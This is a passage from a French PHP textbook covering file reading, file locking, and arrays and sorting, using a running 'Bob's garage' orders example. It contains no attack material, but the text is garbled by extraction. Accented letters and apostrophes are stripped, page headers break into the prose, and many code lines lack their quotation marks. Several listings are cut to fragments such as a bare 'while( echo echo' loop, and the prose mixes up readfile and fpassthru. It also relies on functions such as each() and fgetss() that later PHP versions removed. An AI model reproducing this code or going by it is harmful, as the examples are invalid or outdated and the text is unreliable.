lecture se poursuit jusqu ce que linterprteur rencontre un caractre de nouvelle ligne
78
Partie I
Utilisation de PHP
(\n), EOF ou jusqu ce que 998 octets aient t lus dans le fichier. Le nombre maximal
doctets lus est la longueur indique en deuxime paramtre, moins un.
Vous disposez de plusieurs fonctions pour lire le contenu dun fichier. La fonction
fgets() convient bien pour les fichiers au format texte seul qui doivent tre traits par
morceaux.
La fonction fgetss() constitue une variante intressante de la fonction fgets(). Son
prototype est le suivant :
string fgetss(resource fp, int longueur, string [balises_autorises]);
fgetss() est trs semblable fgets(), si ce nest quelle supprime toutes les balises
PHP et HTML contenues dans la chane lue. Pour empcher la suppression de certaines
balises, il suffit de les numrer dans la chane balises_autorises. La fonction
fgetss() sutilise par mesure de scurit lors de la lecture dun fichier crit par un tiers
ou contenant des donnes saisies par lutilisateur. La prsence de code HTML dans un
fichier peut en effet perturber la mise en forme que vous avez soigneusement mise en
place. Par ailleurs, ne pas vrifier la prsence de code PHP dans un fichier peut permettre
un utilisateur malveillant de prendre le contrle de votre serveur.
La fonction fgetcsv () est une autre variante de la fonction fgets(). Voici son prototype :
array fgetcsv ( resource fp, int longueur [, string dlimiteur [,
string encadrement]])
La fonction fgetcsv() semploie pour dcouper les lignes dun fichier en fonction dun
caractre de dlimitation (par exemple un caractre de tabulation comme ici ou une
virgule comme dans de nombreux fichiers produits par les tableurs et dautres applications). fgetscv() permet, par exemple, de reconstruire sparment les variables dune
commande plutt que les traiter sous la forme dune ligne de texte. Cette fonction
sutilise de la mme manire que fgets(), mais vous devez lui passer en paramtre le
dlimiteur utilis pour sparer les champs. Linstruction :
$commande = fgetcsv($fp, 100, "\t");
provoque la lecture dune ligne du fichier et son dcoupage selon chaque tabulation
(\t). Le rsultat obtenu est renvoy sous forme de tableau ($commande dans le
Listing 2.2). Les tableaux sont traits au Chapitre 3.
La valeur du paramtre longueur doit tre choisie de manire tre suprieure au
nombre de caractres de la ligne la plus longue du fichier lire.
Le paramtre encadrement indique le caractre qui encadre chacun des champs dune
ligne. Sil nest pas prcis, il prend comme valeur par dfaut lapostrophe double ( ").
Chapitre 2
79
Lappel de la fonction readfile() ouvre le fichier, affiche son contenu sur la sortie
standard (le navigateur web), puis ferme le fichier. Cette fonction a le prototype
suivant :
int readfile(string nomFichier, [int utiliser include path[, resource contexte]]);
Si la lecture russit, la fonction fpassthru() renvoie la valeur true. Elle renvoie false
en cas dchec.
La fonction file () offre une troisime possibilit de lecture de lintgralit du
contenu dun fichier. Cette fonction est identique readfile(), si ce nest quau lieu de
diriger le contenu du fichier vers la sortie standard elle le stocke dans un tableau. Nous
reviendrons sur cette possibilit au Chapitre 3. Notez simplement ce stade que cette
fonction sutilise de la manire suivante :
$tab_contenu = file($DOCUMENT_ROOT/../orders/orders.txt");
80
Partie I
Utilisation de PHP
Ce code lit un caractre la fois dans le fichier, via fgetc(), et le stocke dans la variable
$car. Le processus se rpte jusqu ce que la fin du fichier soit atteinte. Les caractres
de fin de ligne (\n) sont ensuite remplacs par des sauts de ligne HTML (<br />).
Ce petit traitement vise simplement purer la mise en forme. Si vous essayiez dafficher le fichier en laissant les caractres de nouvelles lignes entre les enregistrements, la
totalit du fichier serait imprime sur une seule ligne (vous pouvez essayer par vousmme). En effet, les navigateurs web ignorent les caractres de nouvelles lignes quils
considrent comme des espaces : vous devez donc les remplacer par des sauts de ligne
HTML (<br />). Loprateur ternaire permet deffectuer ce remplacement de faon
simple et lgante.
Lutilisation de la fonction fgetc() au lieu de la fonction fgets() a une consquence
mineure : le caractre EOF est renvoy par la fonction fgetc(), ce qui nest pas le cas
avec la fonction fgets(). Il sensuit quaprs la lecture du caractre il est ncessaire
de tester nouveau feof() pour viter que le caractre EOF ne soit affich par le navigateur.
La lecture dun fichier caractre par caractre na de sens que dans des contextes trs
particuliers, o les caractres doivent tre lus les uns aprs les autres.
Lecture dune longueur arbitraire : fread()
La dernire mthode de lecture dun fichier que nous allons tudier est la fonction
fread(). Celle-ci permet de lire un nombre quelconque doctets dans un fichier.
Le prototype de cette fonction est le suivant :
string fread(resource fp, int longueur);
Chapitre 2
81
Cette fonction lit "longueur" octets ou lit jusqu la fin du fichier ou du paquet rseau,
si celle-ci survient avant que longueur octets aient t lus.
Vous pouvez utiliser cette fonction avec la fonction fread() pour lire tout un fichier (ou
une fraction dun fichier) dun seul trait. Le code du Listing 2.2 pourrait ainsi tre
remplac par les instructions suivantes :
$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", rb);
echo nl2br(fread($fp, filesize("$DOCUMENT_ROOT/../orders/orders.txt" )));
fclose( $fp );
La fonction nl2br() convertit les caractres \n en sauts de ligne XHTML (<br />)
dans la sortie.
Suppression dun fichier : unlink()
Si vous souhaitez dtruire le contenu du fichier de commandes aprs lavoir trait, utilisez
la fonction unlink() (PHP ne contient pas de fonction dnomme "delete") :
unlink("$DOCUMENT_ROOT/../orders/orders.txt");
Cette fonction renvoie false lorsque le fichier ne peut pas tre supprim, ce qui peut
arriver si, par exemple, vous navez pas les permissions suffisantes ou si le fichier
nexiste pas.
Navigation dans un fichier : rewind(), fseek() et ftell()
Vous pouvez manipuler et connatre la position du pointeur dans le fichier au moyen des
fonctions rewind(), fseek () et ftell().
82
Partie I
Utilisation de PHP
Le rsultat obtenu lexcution du script serait alors celui montr la Figure 2.5.
Figure 2.5
Aprs lecture des commandes, le pointeur de fichier est positionn la fin du fichier, cest--dire
279 octets par rapport au dbut du fichier. Lappel de la fonction rewind replace le pointeur la
position 0, cest--dire au dbut du fichier.
Chapitre 2
83
Vous devez passer la fonction flock() un descripteur de fichier ouvert et une constante
reprsentant le type de verrouillage voulu. Elle renvoie true lorsque le verrouillage
russit et false en cas dchec. Le troisime paramtre facultatif contiendra la valeur
true si lacquisition du verrou entrane le blocage du processus courant (autrement dit,
sil doit attendre).
Le Tableau 2.2 prsente les valeurs possibles pour le paramtre operation. Ces valeurs
ayant t modifies partir de PHP 4.0.1, nous prsentons ici les deux ensembles de
valeurs possibles.
Tableau 2.2 : Valeurs possibles pour le paramtre operation de la fonction flock()
Valeur dopration
Signification
LOCK_SH (anciennement 1)
LOCK_EX (anciennement 2)
LOCK_UN (anciennement 3)
LOCK_NB (anciennement 4)
Pour que flock() serve quelque chose, vous devez lutiliser dans tous les scripts qui
manipulent le fichier verrouiller.
84
Partie I
Utilisation de PHP
Notez que flock() ne fonctionne pas avec NFS (Network File System) ou dautres
systmes de fichiers rseaux. Cette fonction est galement inoprante avec danciens
systmes de fichiers ne prenant pas en charge les verrous (FAT, par exemple). Sur
certains des systmes dexploitation pour lesquels cette fonction est implmente au
niveau processus, le verrouillage obtenu ne sera pas fiable si vous utilisez une API de
serveur multithread.
Pour utiliser les verrous dans notre exemple, nous pouvons modifier processorder.php
de la manire suivante :
$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", ab);
flock($fp, LOCK_EX); // verrouillage du fichier en criture
fwrite($fp, $chaine_sortie);
flock($fp, LOCK_UN); // libration du verrou en criture
fclose($fp);
Grce aux modifications que nous venons dapporter notre exemple, notre code est un
peu plus fiable, mais il ne lest pas encore suffisamment. Que se passera-t-il si deux
scripts tentent simultanment dacqurir un verrou ? Il sensuivra une situation de
concurrence dont lissue ne peut pas tre dtermine. Ce cas de figure peut se rvler
problmatique et tre vit par lemploi dun SGBD (systme de gestion de base de
donnes).
Chapitre 2
85
Seulement, si vous voulez trouver des motifs dinformation (par exemple lister tous
les clients qui vivent Paris), il vous faudra lire chaque enregistrement et le vrifier
individuellement.
m
m
m
Ils permettent daccder bien plus rapidement aux donnes. MySQL, le SGBDR
tudi dans cet ouvrage, est apparu comme le plus rapide du march.
Ils peuvent tre facilement interrogs afin den extraire des ensembles de donnes
rpondant des critres spcifiques.
Ils intgrent des mcanismes prenant en charge les accs concurrents, ce qui
dispense le programmeur de sen proccuper.
Ils permettent un accs direct aux donnes.
Ils comprennent des systmes de privilges intgrs. MySQL est particulirement
performant dans ce domaine.
Le principal avantage dun SGBDR est que toutes (ou presque) les fonctionnalits
requises pour un systme de stockage des donnes sont dj implmentes. Vous
pouvez bien sr crire votre propre bibliothque de fonctions PHP, mais pourquoi rinventer la roue ?
86
Partie I
Utilisation de PHP
Dans la Partie II de cet ouvrage, "Utilisation de MySQL", nous examinerons le fonctionnement des bases de donnes relationnelles en gnral et nous verrons plus spcifiquement comment configurer et utiliser MySQL pour crer des sites web reposant sur
des bases de donnes.
Si vous mettez en place un systme simple et que vous ne pensiez pas avoir besoin
dune base de donnes sophistique, tout en souhaitant viter le verrouillage et les
autres problmes lis lutilisation dun fichier plat, il peut tre intressant de considrer lextension SQLite de PHP. Cette extension fournit une interface SQL vers les
fichiers plats. Dans ce livre, nous traiterons principalement de lutilisation de MySQL.
Pour plus dinformations sur SQLite, consultez les sites http://sqlite.org/ et http://
www.php.net/sqlite.
Pour la suite
Au cours du Chapitre 3, nous tudierons les tableaux et nous verrons comment les utiliser
pour traiter des donnes dans des scripts PHP.
3
Utilisation de tableaux
Ce chapitre montre comment utiliser une construction de programmation importante :
les tableaux. Les variables examines dans les chapitres prcdents taient de type
scalaire, cest--dire quelles ne stockaient chacune quune seule valeur. Un tableau, en
revanche, est une variable stockant un ensemble ou une srie de valeurs. Un mme
tableau peut contenir de nombreux lments, chacun deux pouvant tre une valeur
unique, comme un texte ou un nombre, ou un autre tableau. Un tableau comprenant
dautres tableaux est dit "multidimensionnel".
PHP supporte les tableaux indics par des nombres et les tableaux associatifs. Les
tableaux indics par des nombres devraient vous tre familiers si vous avez dj utilis
un langage de programmation. En revanche, vous navez peut-tre jamais vu de
tableaux associatifs, bien que vous ayez pu rencontrer ailleurs des choses similaires,
comme les mappages, les hachages ou les dictionnaires. Les tableaux associatifs
permettent dindicer les lments par des valeurs plus significatives que des nombres :
des mots, par exemple.
Dans ce chapitre, nous poursuivrons la construction de lapplication du garage de Bob
commence dans les chapitres prcdents, en nous servant de tableaux pour faciliter la
manipulation des informations rptitives comme les commandes des clients. Lusage
de tableaux nous permettra dcrire un code plus concis pour raliser certaines des
oprations sur les fichiers du Chapitre 2.
88
Partie I
Utilisation de PHP
un nom et dans lequel peut tre enregistr un ensemble de valeurs. Un tableau permet
par consquent de regrouper des valeurs scalaires.
Dans lapplication du garage de Bob dont nous avons commenc llaboration, nous
utiliserons un tableau pour stocker la liste des articles vendus. La Figure 3.1 montre une
liste de trois articles regroups dans un tableau nomm $produits (nous verrons un peu
plus loin comment crer une telle variable).
Pneus
Huiles
Bougies
produit
Figure 3.1
Les articles vendus par lentreprise de Bob peuvent tre enregistrs dans un tableau.
Ds lors que des informations sont enregistres dans un tableau, elles peuvent tre
soumises diverses manipulations trs intressantes. Cest ainsi quavec les constructions de boucles dcrites au Chapitre 1, vous pouvez vous simplifier la tche en effectuant les mmes actions sur chacune des valeurs du tableau. Lensemble des
informations enregistres dans un tableau peut tre manipul comme sil sagissait
dune seule entit. Ainsi, avec une simple ligne de code, toutes les valeurs dun tableau
peuvent tre passes une fonction. Pour, par exemple, trier les articles de Bob par
ordre alphabtique, il nous suffira de passer le tableau qui les contient la fonction
sort().
Les valeurs stockes dans un tableau sont appeles lments du tableau. chaque
lment dun tableau est associ un indice (galement appel cl) qui permet daccder
cet lment.
Dans la plupart des langages de programmation, les tableaux ont des indices numriques
qui commencent gnralement 0 ou 1.
PHP permet dutiliser des nombres ou des chanes comme indices de tableau. Vous
pouvez utiliser des tableaux indics par des nombres, selon la manire traditionnelle, ou
choisir les valeurs que vous souhaitez pour les cls, afin de rendre lindexation plus
comprhensible et utile. Vous avez peut-tre dailleurs dj employ cette technique si
vous avez utilis des tableaux associatifs, des mappages, des hachages ou des dictionnaires dans dautres langages de programmation. Lapproche peut varier lgrement
selon que vous utilisez des tableaux classiques indics par des nombres ou tableaux
indics par des valeurs personnalises. Nous commencerons cette tude par les
tableaux indices numriques avant de passer aux cls dfinies par lutilisateur.
Chapitre 3
Utilisation de tableaux
89
Cette instruction cre un tableau $produits contenant les trois valeurs Pneus,
Huiles et Bougies. Notez que, comme echo, array() est une construction du
langage plutt quune fonction.
Selon le contenu enregistrer dans un tableau, il nest pas forcment ncessaire
dinitialiser manuellement ce contenu comme on la fait dans linstruction prcdente.
Si les donnes placer dans un tableau sont dj contenues dans un autre tableau, il
suffit de copier un tableau dans lautre au moyen de loprateur =.
Une srie de nombres croissants peut tre automatiquement enregistre dans un tableau
grce la fonction range(), qui se charge elle-mme de crer le tableau requis. La ligne
qui suit cre un tableau $nombres dont les lments sont les nombres entiers compris
entre 1 et 10 :
$nombres = range(1,10);
La fonction range() possde un troisime paramtre facultatif qui vous permet de dfinir la taille du pas entre les valeurs. Par exemple, pour crer un tableau des nombres
impairs compris entre 1 et 10, procdez de la manire suivante :
$impairs = range(1, 10, 2);
La fonction range() peut galement tre utilise avec des caractres, comme dans cet
exemple :
$lettres = range(a, z);
Lorsque des informations sont contenues dans un fichier stock sur disque, le tableau
peut tre directement charg partir du fichier. Nous reviendrons sur ce point un peu
plus loin dans ce chapitre, dans la section "Chargement de tableaux partir de fichiers".
Lorsque des informations sont contenues dans une base de donnes, le tableau peut
tre directement charg partir de la base de donnes. Cette possibilit est traite au
Chapitre 11.
PHP offre galement diverses fonctions permettant dextraire des parties dun tableau
ou de rorganiser les lments. Certaines de ces fonctions seront dcrites plus loin dans
ce chapitre, dans la section "Autres manipulations de tableaux".
90
Partie I
Utilisation de PHP
Bien que lanalyse des chanes par PHP soit particulirement bien labore, vous pouvez
commettre des erreurs dans ce domaine. Si vous avez des problmes avec des tableaux
ou des variables non correctement interprts lorsquils sont encadrs par des apostrophes doubles, mettez-les hors de ceux-ci ou utilisez la syntaxe complexe prsente au
Chapitre 4. La prcdente instruction echo fonctionnera correctement, mais vous
rencontrerez plusieurs autres exemples au cours de ce chapitre dans lesquels les variables
sont situes en dehors des chanes encadres par des apostrophes doubles.
Tout comme les autres variables PHP, les tableaux ne ncessitent pas une initialisation
ou une cration pralables. Ils sont automatiquement crs leur premire utilisation.
Le code qui suit conduit la cration du mme tableau $produits que celui que lon a
cr plus haut avec array() :
$produits[0] = Pneus;
$produits[1] = Huiles;
$produits[2] = Bougies;
Chapitre 3
Utilisation de tableaux
91
Si le tableau $produits nexiste pas encore, la premire ligne cre un nouveau tableau
form dun seul lment. Les lignes qui suivent ajoutent des valeurs au tableau qui vient
dtre cr. Le tableau est redimensionn dynamiquement lorsque vous lui ajoutez des
lments. Cette possibilit de redimensionnement nexiste pas dans la plupart des autres
langages de programmation.
Utilisation de boucles pour accder au contenu dun tableau
Lorsquun tableau est indic par une srie de nombres, son contenu peut tre affich
plus facilement grce une boucle for :
for ( $i = 0; $i<3; $i++ ) {
echo "$produits[$i] ";
}
Cette boucle produit une sortie identique celle obtenue prcdemment, tout en tant
plus compacte. La possibilit dutiliser ainsi une simple boucle pour accder chaque
lment dun tableau est une particularit apprciable des tableaux.
Nous pouvons galement nous servir dune boucle foreach, qui a t spcialement
conue pour tre utilise avec les tableaux :
foreach ($produits as $element){
echo $element . ;
}
Ce code enregistre tour tour chacun des lments du tableau dans la variable $element
et affiche le contenu de celle-ci.
Le symbole entre les cls et les valeurs est simplement un signe gal immdiatement
suivi par un symbole suprieur .
92
Partie I
Utilisation de PHP
Voici une autre variante de ce fragment de code dont lexcution produit un rsultat
identique. Ce code ne cre pas explicitement le tableau, mais conduit indirectement sa
cration lors de lajout du premier lment :
$prix[Pneus] = 100;
$prix[Huiles] = 10;
$prix[Bougies] = 4;
Utilisation de boucles
Nous ne pouvons pas utiliser un simple compteur avec une boucle for pour parcourir le
tableau prcdent puisquil nest pas indic par des nombres. Cependant, nous pouvons
faire appel une boucle foreach ou aux constructions list() et each().
Avec un tableau associatif, la boucle foreach peut adopter une syntaxe lgrement
diffrente. Vous pouvez lutiliser exactement comme dans lexemple prcdent ou y
ajouter les cls :
foreach ($prix as $nom => $montant) {
echo "$nom: $montant<br />";
}
Le fragment de code qui suit affiche le contenu du tableau $prix avec each() :
while(
echo
echo
echo
echo
}
Chapitre 3
Utilisation de tableaux
93
Figure 3.2
Utilisation dune instruction
each() pour parcourir
un tableau.
Dans cette ligne de code, la fonction each() est utilise pour obtenir llment
courant du tableau $prix, le renvoyer sous forme de tableau et pour passer
llment suivant. On utilise galement la fonction list() pour transformer les
lments 0 et 1 du tableau renvoy par la fonction each() en deux nouvelles variables
appeles $nom et $montant.
Nous pouvons parcourir tout le contenu du tableau $prix et lafficher dans la fentre du
navigateur au moyen des deux lignes de code suivantes :
while ( list( $nom, $montant ) = each( $prix ) ) {
echo "$nom: $montant<br />";
}
Lexcution de ces lignes de code produit le mme rsultat que celui de la Figure 3.2,
mais elles sont plus lisibles car la fonction list () permet daffecter des noms aux
variables.
94
Partie I
Utilisation de PHP
Avec la fonction each(), le tableau mmorise la position courante. Si vous devez utiliser deux fois le mme tableau dans un script, il faut par consquent replacer la position
courante du tableau au dbut de celui-ci avec la fonction reset(). Pour afficher une
seconde fois les prix des articles, il nous faudrait donc excuter les lignes de code
suivantes :
reset($prix);
while ( list( $nom, $montant ) = each( $prices ) ) {
echo "$nom: $montant<br />";
}
Oprateur
Nom
Exemple
Rsultat
Union
$a + $b
==
galit
$a == $b
===
Identit
$a === $b
!=
Ingalit
$a!= $b
<>
Ingalit
$a <> $b
Identique !=.
!==
Non-identit
$a!== $b
Ces oprateurs sont assez vidents comprendre, mais lunion requiert quelques
explications supplmentaires. Cet oprateur tente dajouter les lments de $b la
fin de $a. Si des lments de $b possdent les mmes cls que certains lments qui
Chapitre 3
Utilisation de tableaux
95
se trouvent dj dans $a, ils ne seront pas ajouts. Autrement dit, aucun lment de
$a nest cras.
Vous remarquerez que les oprateurs de tableaux du Tableau 3.1 possdent tous des
oprateurs quivalents qui fonctionnent sur les variables scalaires. Pour autant que vous
vous souveniez que + ralise laddition sur les types scalaires et lunion sur les tableaux,
les comportements sont logiques. Vous ne pouvez pas comparer de manire utile des
tableaux des types scalaires.
Tableaux multidimensionnels
Les tableaux ne sont pas ncessairement de simples listes de cls et de valeurs. Chaque
lment dun tableau peut lui-mme tre un autre tableau. Cette proprit permet de
crer des tableaux deux dimensions, qui peuvent tre assimils une matrice, ou grille,
caractrise par une largeur et une hauteur, cest--dire un nombre dtermin de lignes
et de colonnes.
Par exemple, nous pourrions avoir recours un tableau deux dimensions pour stocker
plusieurs informations relatives chaque article vendu par lentreprise de Bob.
produ t
la Figure 3.3, chaque ligne dun tableau deux dimensions reprsente un article
particulier et chaque colonne reprsente un attribut (ou un type dinformation) relatif
aux produits.
Code
Description
Prix
PNE
Pneus
100
HUI
Huiles
10
BOU
Bougies
Figure 3.3
Un tableau deux dimensions permet de stocker plus dinformations relatives aux articles vendus
par lentreprise de Bob.
Voici le code PHP qui pourrait tre utilis pour gnrer le tableau de la Figure 3.3 :
$produits = array( array( PNE, Pneus, 100 ),
array( HUI, Huiles, 10 ),
array( BOU, Bougies, 4 ) );
96
Partie I
Utilisation de PHP
Ces lignes font bien apparatre que le tableau $produits se compose dsormais de trois
autres tableaux.
Souvenez-vous que, pour accder un lment dun tableau unidimensionnel, il faut
spcifier le nom du tableau et la cl de llment. Dans un tableau deux dimensions,
laccs seffectue de manire comparable, si ce nest qu chaque lment sont associes deux cls : une ligne et une colonne (la ligne la plus en haut est la ligne 0, tandis
que la colonne la plus gauche est la colonne 0).
Nous pourrions ainsi afficher le contenu du tableau considr ici en accdant dans
lordre et manuellement chaque lment, comme ici :
echo |.$produits[0][0].|.$produits[0][1].|.$produits[0][2].|<br />;
echo |.$produits[1][0].|.$produits[1][1].|.$produits[1][2].|<br />;
echo |.$produits[2][0].|.$produits[2][1].|.$produits[2][2].|<br />;
Nous pourrions obtenir le mme rsultat en insrant une boucle for dans une autre
boucle for, de la manire suivante :
for ( $ligne = 0; $ligne < 3; $ligne++ ) {
for ( $colonne = 0; $colonne < 3; $colonne++ ) {
echo |.$produits[$ligne][$colonne];
}
echo |<br />;
}
Chacune de ces deux variantes conduit au mme affichage dans la fentre du navigateur
web, cest--dire :
|PNE|Pneus|100|
|HUI|Huiles|10|
|BOU|Bougies|4|
La seule diffrence est que la seconde variante est bien plus courte que la premire dans
le cas de tableaux volumineux.
Au lieu de dsigner les colonnes par des numros, vous pouvez choisir dutiliser des
noms de colonnes (voir Figure 3.3). Pour cela, vous pouvez utiliser des tableaux associatifs. Pour enregistrer le mme ensemble darticles dans un tableau associatif dont les
noms de colonnes seraient identiques ceux de la Figure 3.3, vous pouvez crire le
code suivant :
$produits = array( array( Code => PNE,
Description => Pneus,
Prix => 100
),
array( Code => HUI,
Description => Huiles,
Prix => 10
),
Chapitre 3
Utilisation de tableaux
97
Un tel tableau se rvle plus facile manipuler lorsquil sagit de rcuprer une seule
valeur. Il est en effet plus ais de se souvenir que la description dun article est stocke
dans la colonne Description, que de se souvenir quelle est stocke dans la colonne 1.
Avec les indices descriptifs, il nest pas ncessaire de mmoriser quune valeur est stocke
la position [x][y]. Les donnes peuvent y tre facilement retrouves en spcifiant les
noms explicites des lignes et des colonnes.
Nous sommes en revanche privs de la possibilit dutiliser une boucle for pour
parcourir successivement les diffrentes colonnes du tableau. Le fragment de code qui
suit permet dafficher le contenu de ce tableau :
for ( $ligne = 0; $ligne < 3; $ligne++ ) {
echo |.$produits[$ligne][Code].|.
$produits[$ligne][Description].|.
$produits[$ligne][Prix].|<br />;
}
Avec une boucle for nous pouvons parcourir le tableau "externe" $produits indic par
des nombres. Chaque ligne de notre tableau $produits constitue un tableau avec des
indices descriptifs. Les fonctions each() et list() peuvent ensuite tre insres dans
une boucle while pour parcourir les diffrents tableaux internes contenus dans
$produits. Voici le code form dune boucle while imbrique dans une boucle for :
for ( $ligne = 0; $ligne < 3; $ligne++ ) {
while ( list( $cle, $valeur ) = each( $produits[ $ligne ] ) )
{
echo |$valeur;
}
echo |<br />;
}
Vous ntes pas limit deux dimensions : en suivant le mme principe, rien nempche
de crer un tableau dont les lments sont constitus de tableaux, eux-mmes constitus
de tableaux, et ainsi de suite.
Un tableau trois dimensions se caractrise par une largeur, une hauteur et une profondeur. Si vous prfrez vous reprsenter un tableau deux dimensions comme un tableau
compos de lignes et de colonnes, vous pouvez vous reprsenter un tableau trois
dimensions comme un empilement de tels tableaux. Chaque lment est alors rfrenc
par sa couche, sa ligne et sa colonne.
98
Partie I
Utilisation de PHP
Pices camions
rodu
Code
des p
produit
catg
orie
Ce tableau trois
dimensions permet
de classer les articles
en catgories.
Description
Prix
Pices motos
Code
Description
Prix
Pices voitures
Code
Description
Prix
VOI PNE
Pneus
100
VOI HUI
Huiles
10
VOI BOU
Bougies
Dans le fragment de code qui suit, il apparat clairement quun tableau trois dimensions
est un tableau contenant des tableaux de tableaux :
$categories = array( array ( array(
array(
array(
),
array ( array(
array(
array(
),
array ( array(
array(
array(
)
);
Ce tableau ne comprenant que des cls numriques, nous pouvons nous servir de
boucles for imbriques pour afficher son contenu :
for ( $couche = 0; $couche < 3; $couche++ ) {
echo "Couche $couche<br />";
for ( $ligne = 0; $ligne < 3; $ligne++ ) {
for ( $colonne = 0; $colonne < 3; $colonne++ ) {
Chapitre 3
Utilisation de tableaux
99
echo |.$categories[$couche][$ligne][$colonne];
}
echo |<br />;
}
}
Compte tenu de la manire dont sont crs les tableaux multidimensionnels, vous
pouvez trs bien produire des tableaux quatre, cinq ou six dimensions. Le langage
PHP nimpose en ralit aucune limite sur le nombre de dimensions dun tableau.
Toutefois, les constructions plus de trois dimensions sont difficiles visualiser.
Des tableaux trois dimensions ou moins suffisent gnralement traiter la plupart des
problmes et situations du monde rel.
Tri de tableaux
Il est souvent trs utile de trier les donnes apparentes qui sont stockes dans un
tableau. Le tri dun tableau unidimensionnel est une opration trs simple.
Utilisation de la fonction sort()
Les deux lignes de code qui suivent trient un tableau dans lordre alphabtique :
$produits = array( Pneus, Huiles, Bougies );
sort($produits);
Aprs lexcution de ce code, les lments contenus dans le tableau sont classs dans
lordre suivant : Bougies, Huiles, Pneus.
Il est galement possible de trier des valeurs en suivant lordre numrique. Prenons le
cas dun tableau contenant les prix des articles vendus par Bob. Le contenu de ce
tableau pourrait tre tri par ordre numrique croissant, au moyen des instructions
suivantes :
$prix = array( 100, 10, 4 );
sort($prix);
Les prix seraient alors classs dans lordre suivant : 4, 10, 100.
Notez que la fonction sort() est sensible la casse ( lutilisation de majuscules/
minuscules). Les lettres majuscules sont classes avant les lettres minuscules : "A" est
infrieur "Z", mais "Z" est infrieur "a".
La fonction admet galement un second paramtre facultatif. Vous pouvez passer lune
des constantes SORT REGULAR (par dfaut), SORT NUMERIC ou SORT STRING. Cette capacit spcifier le type de tri est utile lorsque vous comparez des chanes qui peuvent
contenir des nombres, comme 2 et 12. Numriquement, 2 est infrieur 12 mais, en tant
que chane, 12 est infrieure 2.
100
Partie I
Utilisation de PHP
La fonction asort() trie le contenu du tableau qui lui est fourni en paramtre daprs la
valeur de chaque lment. Dans le tableau considr ici, les valeurs sont les prix tandis
que les cls sont les descriptions textuelles. Pour trier le tableau non pas en fonction des
prix, mais des descriptions, cest la fonction ksort() qui doit tre employe. La fonction ksort() effectue un tri sur la base des cls et non pas des valeurs. Le fragment de
code qui suit gnre un tableau tri en tenant compte de lordre alphabtique des cls
(Bougies, Huiles, Pneus) :
$prix = array( Pneus=>100, Huiles=>10, Bougies=>4 );
ksort($prix);
Chapitre 3
Utilisation de tableaux
101
Ce tableau contient trois articles vendus par lentreprise de Bob, avec un code, une
description et un prix par article.
quel rsultat aboutira le tri de ce tableau ? Deux types dordres au moins pourraient
ici tre utiles : un tri des articles par ordre alphabtique des descriptions ou par ordre
numrique des prix. Chacun de ces tris peut tre implment en utilisant la fonction
usort() et en indiquant linterprteur PHP le critre sur lequel la comparaison doit
seffectuer. Pour cela, nous allons devoir crire notre propre fonction de comparaison.
Le fragment de code donn ci-aprs conduit au tri du tableau selon lordre alphabtique
des descriptions, cest--dire par rapport la deuxime colonne du tableau :
function compare($x, $y){
if ( $x[1] == $y[1] ) {
return 0;
} else if ( $x[1] < $y[1] ){
return -1;
} else
return 1;
}
}
usort($produits, compare);
Jusquici, nous nous sommes servis dun certain nombre de fonctions prdfinies de
PHP. Pour trier notre tableau, nous avons eu besoin de dfinir notre propre fonction.
Lcriture de fonctions personnalises est traite en dtail au Chapitre 5 mais, pour
lheure, en voici une brve introduction.
En PHP, la dfinition dune fonction requiert le mot-cl function. Pour dfinir une
fonction personnalise, vous devez lui attribuer un nom, quil est conseill de choisir
soigneusement. Ici, par exemple, nous avons choisi dappeler notre fonction
compare(). Nombre de fonctions attendent des paramtres. Notre fonction compare()
en prend deux : un appel x et un appel y. Cette fonction sert comparer les deux
valeurs qui lui sont passes en paramtre et dterminer leur ordre.
Pour cet exemple, les paramtres x et y contiendront deux des tableaux contenus dans le
tableau principal et qui reprsentent chacun un article diffrent. Pour accder au champ
Description du tableau x, nous devons crire $x[1]. En effet, la Description est le
102
Partie I
Utilisation de PHP
Chapitre 3
Utilisation de tableaux
103
104
Partie I
Utilisation de PHP
Le code du Listing 3.1 effectuant une slection alatoire dimages, il conduit laffichage dune page diffrente chaque chargement ou presque (voir Figure 3.5).
Figure 3.5
La fonction shuffle()
est utilise ici pour
afficher trois articles
choisis au hasard.
Chapitre 3
Utilisation de tableaux
105
Une boucle for peut procder par ordre dcroissant : il suffit de choisir une valeur
initiale suffisamment leve et dutiliser loprateur
pour dcrmenter le compteur
dune unit chaque rptition de la boucle.
Le code prcdent commence par crer un tableau vide, puis remplit peu peu ce
tableau grce la fonction array push (), laquelle ajoute chaque nouvel lment la
fin du tableau. La fonction array pop() fait pendant la fonction array push() : elle
supprime et renvoie llment situ la fin du tableau qui lui est pass en paramtre.
Nous pouvons galement utiliser la fonction array reverse() pour trier dans lordre
inverse un tableau produit avec range() :
$nombres = range(1,10);
$nombres = array_reverse($nombres);
Notez que la fonction array reverse() renvoie une copie modifie du tableau qui lui
est pass en paramtre. Si, comme ici, vous ne souhaitez pas conserver le tableau initial,
il suffit de lcraser avec la nouvelle copie.
Si vos donnes correspondent simplement une plage dentiers, vous pouvez crer
cette plage en ordre inverse en passant 1 comme paramtre de pas range() :
$nombres = range(10, 1, -1);
Pour traiter cette commande, nous pouvons avoir besoin de recharger le contenu de ce
fichier dans un tableau. Le script prsent dans le Listing 3.2 permet dafficher le
contenu de ce fichier.
106
Partie I
Utilisation de PHP
Ce script produit presque le mme affichage que le Listing 2.3, au Chapitre 2 (voir
Figure 2.4). Cette fois, cependant, on utilise la fonction file() pour charger lintgralit du fichier dans un tableau. Chaque ligne du fichier devient alors un lment du
tableau ainsi produit.
Par ailleurs, le Listing 3.2 utilise la fonction count() pour dterminer le nombre
dlments contenus dans le tableau cr.
Nous pouvons aller plus loin et charger chacune des sections des lignes de commandes
dans des lments tableaux distincts, afin de traiter les sections sparment les unes des
autres ou de les mettre en forme de manire plus attractive. Cest ce que fait le code du
Listing 3.3.
Listing 3.3 : vieworders2.php Utilisation de PHP pour sparer, mettre en forme
et afficher les commandes reues par lentreprise de Bob
<?php
// Cration dun nom abrg de variable
$DOCUMENT_ROOT = $_SERVER[DOCUMENT_ROOT];
?>
<html>
<head>
<title>Le garage de Bob - Commandes clients</title>
</head>
<body>
<h1>Le garage de Bob</h1>
<h2>Commandes clients</h2>
<?php
// Lecture du fichier complet.
// Chaque commande devient un lment du tableau
$commandes = file("$DOCUMENT_ROOT/../orders/orders.txt");
Chapitre 3
Utilisation de tableaux
107
108
Partie I
Utilisation de PHP
Figure 3.6
Aprs le dcoupage des lignes de commande avec explode(), les diffrentes sections de chaque
commande sont places dans des cellules spares dun tableau, de faon amliorer la prsentation
des rsultats.
